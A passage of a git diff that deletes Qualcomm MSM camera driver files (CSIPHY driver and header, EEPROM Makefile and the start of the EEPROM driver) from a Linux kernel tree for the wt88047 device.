%d", - __func__, __LINE__); - rc = -EINVAL; - return rc; - } - - CDBG("%s:%d called\n", __func__, __LINE__); - if (rc < 0) { - pr_err("%s: csiphy clk enable failed\n", __func__); - csiphy_dev->ref_count--; - iounmap(csiphy_dev->base); - csiphy_dev->base = NULL; - return rc; - } - CDBG("%s:%d called\n", __func__, __LINE__); - - msm_csiphy_reset(csiphy_dev); - - CDBG("%s:%d called\n", __func__, __LINE__); - - if (csiphy_dev->hw_dts_version == CSIPHY_VERSION_V30) - csiphy_dev->hw_version = - msm_camera_io_r(csiphy_dev->base + - csiphy_dev->ctrl_reg-> - csiphy_reg.mipi_csiphy_hw_version_addr); - else - csiphy_dev->hw_version = csiphy_dev->hw_dts_version; - - CDBG("%s:%d called csiphy_dev->hw_version 0x%x\n", __func__, __LINE__, - csiphy_dev->hw_version); - csiphy_dev->csiphy_state = CSIPHY_POWER_UP; - return 0; -} -#endif - -#if DBG_CSIPHY -static int msm_csiphy_release(struct csiphy_device *csiphy_dev, void *arg) -{ - int i = 0; - struct msm_camera_csi_lane_params *csi_lane_params; - uint16_t csi_lane_mask; - csi_lane_params = (struct msm_camera_csi_lane_params *)arg; - - if (!csiphy_dev || !csiphy_dev->ref_count) { - pr_err("%s csiphy dev NULL / ref_count ZERO\n", __func__); - return 0; - } - - if (csiphy_dev->csiphy_state != CSIPHY_POWER_UP) { - pr_err("%s: csiphy invalid state %d\n", __func__, - csiphy_dev->csiphy_state); - return -EINVAL; - } - - if (csiphy_dev->hw_version < CSIPHY_VERSION_V30) { - csiphy_dev->lane_mask[csiphy_dev->pdev->id] = 0; - for (i = 0; i < 4; i++) - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_lnn_cfg2_addr + 0x40*i); - } else { - if (!csi_lane_params) { - pr_err("%s:%d failed: csi_lane_params %p\n", __func__, - __LINE__, csi_lane_params); - return -EINVAL; - } - csi_lane_mask = (csi_lane_params->csi_lane_mask & 0x1F); - - CDBG("%s csiphy_params, lane assign 0x%x mask = 0x%x\n", - __func__, - csi_lane_params->csi_lane_assign, - csi_lane_params->csi_lane_mask); - - if (!csi_lane_mask) - csi_lane_mask = 0x1f; - - csiphy_dev->lane_mask[csiphy_dev->pdev->id] &= - ~(csi_lane_mask); - i = 0; - while (csi_lane_mask) { - if (csi_lane_mask & 0x1) { - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_lnn_cfg2_addr + 0x40*i); - } - csi_lane_mask >>= 1; - i++; - } - if ((csiphy_dev->hw_version == CSIPHY_VERSION_V31) && - is_3_1_rev3) - msm_camera_io_w(0x00, csiphy_dev->base + - MIPI_CSIPHY_GLBL_PWG_CFG0_OFFSET); - } - - if (--csiphy_dev->ref_count) { - CDBG("%s csiphy refcount = %d\n", __func__, - csiphy_dev->ref_count); - return 0; - } - - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_lnck_cfg2_addr); - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_glbl_pwr_cfg_addr); - - disable_irq(csiphy_dev->irq->start); - - if (csiphy_dev->hw_dts_version <= CSIPHY_VERSION_V22) { - msm_cam_clk_enable(&csiphy_dev->pdev->dev, - csiphy_clk_info, csiphy_dev->csiphy_clk, - csiphy_dev->num_clk, 0); - } else if (csiphy_dev->hw_dts_version >= CSIPHY_VERSION_V30) { - msm_cam_clk_enable(&csiphy_dev->pdev->dev, - csiphy_clk_info, csiphy_dev->csiphy_clk, - csiphy_dev->num_clk, 0); - iounmap(csiphy_dev->clk_mux_base); - } - iounmap(csiphy_dev->base); - csiphy_dev->base = NULL; - csiphy_dev->csiphy_state = CSIPHY_POWER_DOWN; - return 0; -} -#else -static int msm_csiphy_release(struct csiphy_device *csiphy_dev, void *arg) -{ - int i = 0; - struct msm_camera_csi_lane_params *csi_lane_params; - uint16_t csi_lane_mask; - csi_lane_params = (struct msm_camera_csi_lane_params *)arg; - - if (!csiphy_dev || !csiphy_dev->ref_count) { - pr_err("%s csiphy dev NULL / ref_count ZERO\n", __func__); - return 0; - } - - if (csiphy_dev->csiphy_state != CSIPHY_POWER_UP) { - pr_err("%s: csiphy invalid state %d\n", __func__, - csiphy_dev->csiphy_state); - return -EINVAL; - } - - if (csiphy_dev->hw_version < CSIPHY_VERSION_V30) { - csiphy_dev->lane_mask[csiphy_dev->pdev->id] = 0; - for (i = 0; i < 4; i++) - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_lnn_cfg2_addr + 0x40*i); - } else { - if (!csi_lane_params) { - pr_err("%s:%d failed: csi_lane_params %p\n", __func__, - __LINE__, csi_lane_params); - return -EINVAL; - } - csi_lane_mask = (csi_lane_params->csi_lane_mask & 0x1F); - - CDBG("%s csiphy_params, lane assign 0x%x mask = 0x%x\n", - __func__, - csi_lane_params->csi_lane_assign, - csi_lane_params->csi_lane_mask); - - if (!csi_lane_mask) - csi_lane_mask = 0x1f; - - csiphy_dev->lane_mask[csiphy_dev->pdev->id] &= - ~(csi_lane_mask); - i = 0; - while (csi_lane_mask) { - if (csi_lane_mask & 0x1) { - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg. - mipi_csiphy_lnn_cfg2_addr + 0x40*i); - } - csi_lane_mask >>= 1; - i++; - } - if ((csiphy_dev->hw_version == CSIPHY_VERSION_V31) && - is_3_1_rev3) - msm_camera_io_w(0x00, csiphy_dev->base + - MIPI_CSIPHY_GLBL_PWG_CFG0_OFFSET); - } - - if (--csiphy_dev->ref_count) { - CDBG("%s csiphy refcount = %d\n", __func__, - csiphy_dev->ref_count); - return 0; - } - - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_lnck_cfg2_addr); - msm_camera_io_w(0x0, csiphy_dev->base + - csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_glbl_pwr_cfg_addr); - - if (csiphy_dev->hw_dts_version <= CSIPHY_VERSION_V22) { - msm_cam_clk_enable(&csiphy_dev->pdev->dev, - csiphy_clk_info, csiphy_dev->csiphy_clk, - csiphy_dev->num_clk, 0); - } else if (csiphy_dev->hw_dts_version >= CSIPHY_VERSION_V30) { - msm_cam_clk_enable(&csiphy_dev->pdev->dev, - csiphy_clk_info, csiphy_dev->csiphy_clk, - csiphy_dev->num_clk, 0); - iounmap(csiphy_dev->clk_mux_base); - } - - iounmap(csiphy_dev->base); - csiphy_dev->base = NULL; - csiphy_dev->csiphy_state = CSIPHY_POWER_DOWN; - return 0; -} - -#endif - -static int32_t msm_csiphy_cmd(struct csiphy_device *csiphy_dev, void *arg) -{ - int rc = 0; - struct csiphy_cfg_data *cdata = (struct csiphy_cfg_data *)arg; - struct msm_camera_csiphy_params csiphy_params; - struct msm_camera_csi_lane_params csi_lane_params; - if (!csiphy_dev || !cdata) { - pr_err("%s: csiphy_dev NULL\n", __func__); - return -EINVAL; - } - switch (cdata->cfgtype) { - case CSIPHY_INIT: - rc = msm_csiphy_init(csiphy_dev); - break; - case CSIPHY_CFG: - if (copy_from_user(&csiphy_params, - (void *)cdata->cfg.csiphy_params, - sizeof(struct msm_camera_csiphy_params))) { - pr_err("%s: %d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - rc = msm_csiphy_lane_config(csiphy_dev, &csiphy_params); - break; - case CSIPHY_RELEASE: - if (copy_from_user(&csi_lane_params, - (void *)cdata->cfg.csi_lane_params, - sizeof(struct msm_camera_csi_lane_params))) { - pr_err("%s: %d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - rc = msm_csiphy_release(csiphy_dev, &csi_lane_params); - break; - default: - pr_err("%s: %d failed\n", __func__, __LINE__); - rc = -ENOIOCTLCMD; - break; - } - return rc; -} - -static int32_t msm_csiphy_get_subdev_id(struct csiphy_device *csiphy_dev, - void *arg) -{ - uint32_t *subdev_id = (uint32_t *)arg; - if (!subdev_id) { - pr_err("%s:%d failed\n", __func__, __LINE__); - return -EINVAL; - } - *subdev_id = csiphy_dev->pdev->id; - pr_debug("%s:%d subdev_id %d\n", __func__, __LINE__, *subdev_id); - return 0; -} - -static long msm_csiphy_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - int rc = -ENOIOCTLCMD; - struct csiphy_device *csiphy_dev = v4l2_get_subdevdata(sd); - CDBG("%s:%d id %d\n", __func__, __LINE__, csiphy_dev->pdev->id); - mutex_lock(&csiphy_dev->mutex); - switch (cmd) { - case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: - rc = msm_csiphy_get_subdev_id(csiphy_dev, arg); - break; - case VIDIOC_MSM_CSIPHY_IO_CFG: - rc = msm_csiphy_cmd(csiphy_dev, arg); - break; - case VIDIOC_MSM_CSIPHY_RELEASE: - case MSM_SD_SHUTDOWN: - rc = msm_csiphy_release(csiphy_dev, arg); - break; - default: - pr_err_ratelimited("%s: command not found\n", __func__); - } - mutex_unlock(&csiphy_dev->mutex); - CDBG("%s:%d\n", __func__, __LINE__); - return rc; -} - -static const struct v4l2_subdev_internal_ops msm_csiphy_internal_ops; - -static struct v4l2_subdev_core_ops msm_csiphy_subdev_core_ops = { - .g_chip_ident = &msm_csiphy_subdev_g_chip_ident, - .ioctl = &msm_csiphy_subdev_ioctl, -}; - -static const struct v4l2_subdev_ops msm_csiphy_subdev_ops = { - .core = &msm_csiphy_subdev_core_ops, -}; - -static int msm_csiphy_get_clk_info(struct csiphy_device *csiphy_dev, - struct platform_device *pdev) -{ - uint32_t count; - int i, rc; - uint32_t rates[CSIPHY_NUM_CLK_MAX]; - - struct device_node *of_node; - of_node = pdev->dev.of_node; - - count = of_property_count_strings(of_node, "clock-names"); - csiphy_dev->num_clk = count; - - CDBG("%s: count = %d\n", __func__, count); - if (count == 0) { - pr_err("%s: no clocks found in device tree, count=%d", - __func__, count); - return 0; - } - - if (count > CSIPHY_NUM_CLK_MAX) { - pr_err("%s: invalid count=%d, max is %d\n", __func__, - count, CSIPHY_NUM_CLK_MAX); - return -EINVAL; - } - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, "clock-names", - i, &(csiphy_clk_info[i].clk_name)); - CDBG("%s: clock-names[%d] = %s\n", __func__, - i, csiphy_clk_info[i].clk_name); - if (rc < 0) { - pr_err("%s:%d, failed\n", __func__, __LINE__); - return rc; - } - } - rc = of_property_read_u32_array(of_node, "qcom,clock-rates", - rates, count); - if (rc < 0) { - pr_err("%s:%d, failed", __func__, __LINE__); - return rc; - } - for (i = 0; i < count; i++) { - csiphy_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; - CDBG("%s: clk_rate[%d] = %ld\n", __func__, i, - csiphy_clk_info[i].clk_rate); - } - return 0; -} - -static int csiphy_probe(struct platform_device *pdev) -{ - struct csiphy_device *new_csiphy_dev; - int rc = 0; - - new_csiphy_dev = kzalloc(sizeof(struct csiphy_device), GFP_KERNEL); - if (!new_csiphy_dev) { - pr_err("%s: no enough memory\n", __func__); - return -ENOMEM; - } - new_csiphy_dev->ctrl_reg = NULL; - new_csiphy_dev->ctrl_reg = kzalloc(sizeof(struct csiphy_ctrl_t), - GFP_KERNEL); - if (!new_csiphy_dev->ctrl_reg) { - pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); - return -ENOMEM; - } - v4l2_subdev_init(&new_csiphy_dev->msm_sd.sd, &msm_csiphy_subdev_ops); - v4l2_set_subdevdata(&new_csiphy_dev->msm_sd.sd, new_csiphy_dev); - platform_set_drvdata(pdev, &new_csiphy_dev->msm_sd.sd); - - mutex_init(&new_csiphy_dev->mutex); - - if (pdev->dev.of_node) { - of_property_read_u32((&pdev->dev)->of_node, - "cell-index", &pdev->id); - CDBG("%s: device id = %d\n", __func__, pdev->id); - } - - rc = msm_csiphy_get_clk_info(new_csiphy_dev, pdev); - if (rc < 0) { - pr_err("%s: msm_csiphy_get_clk_info() failed", __func__); - return -EFAULT; - } - - new_csiphy_dev->mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "csiphy"); - if (!new_csiphy_dev->mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto csiphy_no_resource; - } - new_csiphy_dev->irq = platform_get_resource_byname(pdev, - IORESOURCE_IRQ, "csiphy"); - if (!new_csiphy_dev->irq) { - pr_err("%s: no irq resource?\n", __func__); - rc = -ENODEV; - goto csiphy_no_resource; - } - new_csiphy_dev->io = request_mem_region(new_csiphy_dev->mem->start, - resource_size(new_csiphy_dev->mem), pdev->name); - if (!new_csiphy_dev->io) { - pr_err("%s: no valid mem region\n", __func__); - rc = -EBUSY; - goto csiphy_no_resource; - } - - rc = request_irq(new_csiphy_dev->irq->start, msm_csiphy_irq, - IRQF_TRIGGER_RISING, "csiphy", new_csiphy_dev); - if (rc < 0) { - release_mem_region(new_csiphy_dev->mem->start, - resource_size(new_csiphy_dev->mem)); - pr_err("%s: irq request fail\n", __func__); - rc = -EBUSY; - goto csiphy_no_resource; - } - disable_irq(new_csiphy_dev->irq->start); - - new_csiphy_dev->clk_mux_mem = platform_get_resource_byname(pdev, - IORESOURCE_MEM, "csiphy_clk_mux"); - if (new_csiphy_dev->clk_mux_mem) { - new_csiphy_dev->clk_mux_io = request_mem_region( - new_csiphy_dev->clk_mux_mem->start, - resource_size(new_csiphy_dev->clk_mux_mem), - new_csiphy_dev->clk_mux_mem->name); - if (!new_csiphy_dev->clk_mux_io) - pr_err("%s: ERROR %d\n", __func__, __LINE__); - } - - new_csiphy_dev->pdev = pdev; - new_csiphy_dev->msm_sd.sd.internal_ops = &msm_csiphy_internal_ops; - new_csiphy_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; - snprintf(new_csiphy_dev->msm_sd.sd.name, - ARRAY_SIZE(new_csiphy_dev->msm_sd.sd.name), "msm_csiphy"); - media_entity_init(&new_csiphy_dev->msm_sd.sd.entity, 0, NULL, 0); - new_csiphy_dev->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; - new_csiphy_dev->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_CSIPHY; - new_csiphy_dev->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x4; - msm_sd_register(&new_csiphy_dev->msm_sd); - - if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, - "qcom,csiphy-v2.0")) { - new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v2_0; - new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V20; - } else if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, - "qcom,csiphy-v2.2")) { - new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v2_2; - new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V22; - } else if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, - "qcom,csiphy-v3.0")) { - new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v3_0; - new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V30; - } else if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, - "qcom,csiphy-v3.1")) { - new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v3_1; - new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V31; - } else if (of_device_is_compatible(new_csiphy_dev->pdev->dev.of_node, - "qcom,csiphy-v3.2")) { - new_csiphy_dev->ctrl_reg->csiphy_reg = csiphy_v3_2; - new_csiphy_dev->hw_dts_version = CSIPHY_VERSION_V32; - } else { - pr_err("%s:%d, invalid hw version : 0x%x", __func__, __LINE__, - new_csiphy_dev->hw_dts_version); - return -EINVAL; - } - - new_csiphy_dev->csiphy_state = CSIPHY_POWER_DOWN; - return 0; - -csiphy_no_resource: - mutex_destroy(&new_csiphy_dev->mutex); - kfree(new_csiphy_dev->ctrl_reg); - kfree(new_csiphy_dev); - return 0; -} - -static const struct of_device_id msm_csiphy_dt_match[] = { - {.compatible = "qcom,csiphy"}, - {} -}; - -MODULE_DEVICE_TABLE(of, msm_csiphy_dt_match); - -static struct platform_driver csiphy_driver = { - .probe = csiphy_probe, - .driver = { - .name = MSM_CSIPHY_DRV_NAME, - .owner = THIS_MODULE, - .of_match_table = msm_csiphy_dt_match, - }, -}; - -static int __init msm_csiphy_init_module(void) -{ - if (early_machine_is_msm8939()) - if (socinfo_get_version() == SOC_REVISION_3) - is_3_1_rev3 = 1; - return platform_driver_register(&csiphy_driver); -} - -static void __exit msm_csiphy_exit_module(void) -{ - platform_driver_unregister(&csiphy_driver); -} - -module_init(msm_csiphy_init_module); -module_exit(msm_csiphy_exit_module); -MODULE_DESCRIPTION("MSM CSIPHY driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.h deleted file mode 100644 index 608924708f4a9..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.h +++ /dev/null @@ -1,89 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_CSIPHY_H -#define MSM_CSIPHY_H - -#include -#include -#include -#include -#include -#include "msm_sd.h" - -#define MAX_CSIPHY 3 - -struct csiphy_reg_parms_t { -/*MIPI CSI PHY registers*/ - uint32_t mipi_csiphy_lnn_cfg1_addr; - uint32_t mipi_csiphy_lnn_cfg2_addr; - uint32_t mipi_csiphy_lnn_cfg3_addr; - uint32_t mipi_csiphy_lnn_cfg4_addr; - uint32_t mipi_csiphy_lnn_cfg5_addr; - uint32_t mipi_csiphy_lnck_cfg1_addr; - uint32_t mipi_csiphy_lnck_cfg2_addr; - uint32_t mipi_csiphy_lnck_cfg3_addr; - uint32_t mipi_csiphy_lnck_cfg4_addr; - uint32_t mipi_csiphy_lnck_cfg5_addr; - uint32_t mipi_csiphy_lnck_misc1_addr; - uint32_t mipi_csiphy_glbl_reset_addr; - uint32_t mipi_csiphy_glbl_pwr_cfg_addr; - uint32_t mipi_csiphy_glbl_irq_cmd_addr; - uint32_t mipi_csiphy_hw_version_addr; - uint32_t mipi_csiphy_interrupt_status0_addr; - uint32_t mipi_csiphy_interrupt_mask0_addr; - uint32_t mipi_csiphy_interrupt_mask_val; - uint32_t mipi_csiphy_interrupt_mask_addr; - uint32_t mipi_csiphy_interrupt_clear0_addr; - uint32_t mipi_csiphy_interrupt_clear_addr; - uint32_t mipi_csiphy_mode_config_shift; - uint32_t mipi_csiphy_glbl_t_init_cfg0_addr; - uint32_t mipi_csiphy_t_wakeup_cfg0_addr; - uint32_t csiphy_version; -}; - -struct csiphy_ctrl_t { - struct csiphy_reg_parms_t csiphy_reg; -}; - -enum msm_csiphy_state_t { - CSIPHY_POWER_UP, - CSIPHY_POWER_DOWN, -}; - -struct csiphy_device { - struct platform_device *pdev; - struct msm_sd_subdev msm_sd; - struct v4l2_subdev subdev; - struct resource *mem; - struct resource *clk_mux_mem; - struct resource *irq; - struct resource *io; - struct resource *clk_mux_io; - void __iomem *base; - void __iomem *clk_mux_base; - struct mutex mutex; - uint32_t hw_version; - uint32_t hw_dts_version; - enum msm_csiphy_state_t csiphy_state; - struct csiphy_ctrl_t *ctrl_reg; - uint32_t num_clk; - - struct clk *csiphy_clk[8]; - - int32_t ref_count; - uint16_t lane_mask[MAX_CSIPHY]; -}; - -#define VIDIOC_MSM_CSIPHY_RELEASE \ - _IOWR('V', BASE_VIDIOC_PRIVATE + 9, void *) -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile deleted file mode 100644 index 35f44bc61570b..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile +++ /dev/null @@ -1,4 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/cci -obj-$(CONFIG_MSM_EEPROM) += msm_eeprom.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.c deleted file mode 100644 index a5cdeff6504cf..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.c +++ /dev/null @@ -1,1157 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include "msm_sd.h" -#include "msm_cci.h" -#include "msm_eeprom.h" - -#undef CDBG -#ifdef MSM_EEPROM_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) pr_debug(fmt, ##args) -#endif - -DEFINE_MSM_MUTEX(msm_eeprom_mutex); - - - -/** - * msm_eeprom_verify_sum - verify crc32 checksum - * @mem: data buffer - * @size: size of data buffer - * @sum: expected checksum - * - * Returns 0 if checksum match, -EINVAL otherwise. - */ -static int msm_eeprom_verify_sum(const char *mem, uint32_t size, uint32_t sum) -{ - uint32_t crc = ~0UL; - - /* check overflow */ - if (size > crc - sizeof(uint32_t)) - return -EINVAL; - - crc = crc32_le(crc, mem, size); - if (~crc != sum) { - CDBG("%s: expect 0x%x, result 0x%x\n", __func__, sum, ~crc); - return -EINVAL; - } - CDBG("%s: checksum pass 0x%x\n", __func__, sum); - return 0; -} - -/** - * msm_eeprom_match_crc - verify multiple regions using crc - * @data: data block to be verified - * - * Iterates through all regions stored in @data. Regions with odd index - * are treated as data, and its next region is treated as checksum. Thus - * regions of even index must have valid_size of 4 or 0 (skip verification). - * Returns a bitmask of verified regions, starting from LSB. 1 indicates - * a checksum match, while 0 indicates checksum mismatch or not verified. - */ -static uint32_t msm_eeprom_match_crc(struct msm_eeprom_memory_block_t *data) -{ - int j, rc; - uint32_t *sum; - uint32_t ret = 0; - uint8_t *memptr; - struct msm_eeprom_memory_map_t *map; - - if (!data) { - pr_err("%s data is NULL", __func__); - return -EINVAL; - } - map = data->map; - memptr = data->mapdata; - - for (j = 0; j + 1 < data->num_map; j += 2) { - /* empty table or no checksum */ - if (!map[j].mem.valid_size || !map[j+1].mem.valid_size) { - memptr += map[j].mem.valid_size - + map[j+1].mem.valid_size; - continue; - } - if (map[j+1].mem.valid_size != sizeof(uint32_t)) { - CDBG("%s: malformatted data mapping\n", __func__); - return -EINVAL; - } - sum = (uint32_t *) (memptr + map[j].mem.valid_size); - rc = msm_eeprom_verify_sum(memptr, map[j].mem.valid_size, - *sum); - if (!rc) - ret |= 1 << (j/2); - memptr += map[j].mem.valid_size + map[j+1].mem.valid_size; - } - return ret; -} - -static int msm_eeprom_get_cmm_data(struct msm_eeprom_ctrl_t *e_ctrl, - struct msm_eeprom_cfg_data *cdata) -{ - int rc = 0; - struct msm_eeprom_cmm_t *cmm_data = &e_ctrl->eboard_info->cmm_data; - cdata->cfg.get_cmm_data.cmm_support = cmm_data->cmm_support; - cdata->cfg.get_cmm_data.cmm_compression = cmm_data->cmm_compression; - cdata->cfg.get_cmm_data.cmm_size = cmm_data->cmm_size; - return rc; -} - -static int eeprom_config_read_cal_data(struct msm_eeprom_ctrl_t *e_ctrl, - struct msm_eeprom_cfg_data *cdata) -{ - int rc; - - /* check range */ - if (cdata->cfg.read_data.num_bytes > - e_ctrl->cal_data.num_data) { - CDBG("%s: Invalid size. exp %u, req %u\n", __func__, - e_ctrl->cal_data.num_data, - cdata->cfg.read_data.num_bytes); - return -EINVAL; - } - if (!e_ctrl->cal_data.mapdata) - return -EFAULT; - - rc = copy_to_user(cdata->cfg.read_data.dbuffer, - e_ctrl->cal_data.mapdata, - cdata->cfg.read_data.num_bytes); - - return rc; -} - -static int msm_eeprom_config(struct msm_eeprom_ctrl_t *e_ctrl, - void __user *argp) -{ - struct msm_eeprom_cfg_data *cdata = - (struct msm_eeprom_cfg_data *)argp; - int rc = 0; - - CDBG("%s E\n", __func__); - switch (cdata->cfgtype) { - case CFG_EEPROM_GET_INFO: - CDBG("%s E CFG_EEPROM_GET_INFO\n", __func__); - cdata->is_supported = e_ctrl->is_supported; - memcpy(cdata->cfg.eeprom_name, - e_ctrl->eboard_info->eeprom_name, - sizeof(cdata->cfg.eeprom_name)); - break; - case CFG_EEPROM_GET_CAL_DATA: - CDBG("%s E CFG_EEPROM_GET_CAL_DATA\n", __func__); - cdata->cfg.get_data.num_bytes = - e_ctrl->cal_data.num_data; - break; - case CFG_EEPROM_READ_CAL_DATA: - CDBG("%s E CFG_EEPROM_READ_CAL_DATA\n", __func__); - rc = eeprom_config_read_cal_data(e_ctrl, cdata); - break; - case CFG_EEPROM_GET_MM_INFO: - CDBG("%s E CFG_EEPROM_GET_MM_INFO\n", __func__); - rc = msm_eeprom_get_cmm_data(e_ctrl, cdata); - break; - default: - break; - } - - CDBG("%s X rc: %d\n", __func__, rc); - return rc; -} - -static int msm_eeprom_get_subdev_id(struct msm_eeprom_ctrl_t *e_ctrl, - void *arg) -{ - uint32_t *subdev_id = (uint32_t *)arg; - CDBG("%s E\n", __func__); - if (!subdev_id) { - pr_err("%s failed\n", __func__); - return -EINVAL; - } - *subdev_id = e_ctrl->subdev_id; - CDBG("subdev_id %d\n", *subdev_id); - CDBG("%s X\n", __func__); - return 0; -} - -static long msm_eeprom_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - struct msm_eeprom_ctrl_t *e_ctrl = v4l2_get_subdevdata(sd); - void __user *argp = (void __user *)arg; - CDBG("%s E\n", __func__); - CDBG("%s:%d a_ctrl %p argp %p\n", __func__, __LINE__, e_ctrl, argp); - switch (cmd) { - case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: - return msm_eeprom_get_subdev_id(e_ctrl, argp); - case VIDIOC_MSM_EEPROM_CFG: - return msm_eeprom_config(e_ctrl, argp); - default: - return -ENOIOCTLCMD; - } - - CDBG("%s X\n", __func__); -} - -static struct msm_camera_i2c_fn_t msm_eeprom_cci_func_tbl = { - .i2c_read = msm_camera_cci_i2c_read, - .i2c_read_seq = msm_camera_cci_i2c_read_seq, - .i2c_write = msm_camera_cci_i2c_write, - .i2c_write_seq = msm_camera_cci_i2c_write_seq, - .i2c_write_table = msm_camera_cci_i2c_write_table, - .i2c_write_seq_table = msm_camera_cci_i2c_write_seq_table, - .i2c_write_table_w_microdelay = - msm_camera_cci_i2c_write_table_w_microdelay, - .i2c_util = msm_sensor_cci_i2c_util, - .i2c_poll = msm_camera_cci_i2c_poll, -}; - -static struct msm_camera_i2c_fn_t msm_eeprom_qup_func_tbl = { - .i2c_read = msm_camera_qup_i2c_read, - .i2c_read_seq = msm_camera_qup_i2c_read_seq, - .i2c_write = msm_camera_qup_i2c_write, - .i2c_write_table = msm_camera_qup_i2c_write_table, - .i2c_write_seq_table = msm_camera_qup_i2c_write_seq_table, - .i2c_write_table_w_microdelay = - msm_camera_qup_i2c_write_table_w_microdelay, -}; - -static struct msm_camera_i2c_fn_t msm_eeprom_spi_func_tbl = { - .i2c_read = msm_camera_spi_read, - .i2c_read_seq = msm_camera_spi_read_seq, -}; - -static int msm_eeprom_open(struct v4l2_subdev *sd, - struct v4l2_subdev_fh *fh) { - int rc = 0; - struct msm_eeprom_ctrl_t *e_ctrl = v4l2_get_subdevdata(sd); - CDBG("%s E\n", __func__); - if (!e_ctrl) { - pr_err("%s failed e_ctrl is NULL\n", __func__); - return -EINVAL; - } - CDBG("%s X\n", __func__); - return rc; -} - -static int msm_eeprom_close(struct v4l2_subdev *sd, - struct v4l2_subdev_fh *fh) { - int rc = 0; - struct msm_eeprom_ctrl_t *e_ctrl = v4l2_get_subdevdata(sd); - CDBG("%s E\n", __func__); - if (!e_ctrl) { - pr_err("%s failed e_ctrl is NULL\n", __func__); - return -EINVAL; - } - CDBG("%s X\n", __func__); - return rc; -} - -static const struct v4l2_subdev_internal_ops msm_eeprom_internal_ops = { - .open = msm_eeprom_open, - .close = msm_eeprom_close, -}; -/** - * read_eeprom_memory() - read map data into buffer - * @e_ctrl: eeprom control struct - * @block: block to be read - * - * This function iterates through blocks stored in block->map, reads each - * region and concatenate them into the pre-allocated block->mapdata - */ -static int read_eeprom_memory(struct msm_eeprom_ctrl_t *e_ctrl, - struct msm_eeprom_memory_block_t *block) -{ - int rc = 0; - int j; - struct msm_eeprom_memory_map_t *emap = block->map; - struct msm_eeprom_board_info *eb_info; - uint8_t *memptr = block->mapdata; - - if (!e_ctrl) { - pr_err("%s e_ctrl is NULL", __func__); - return -EINVAL; - } - - eb_info = e_ctrl->eboard_info; - - for (j = 0; j < block->num_map; j++) { - if (emap[j].saddr.addr) { - eb_info->i2c_slaveaddr 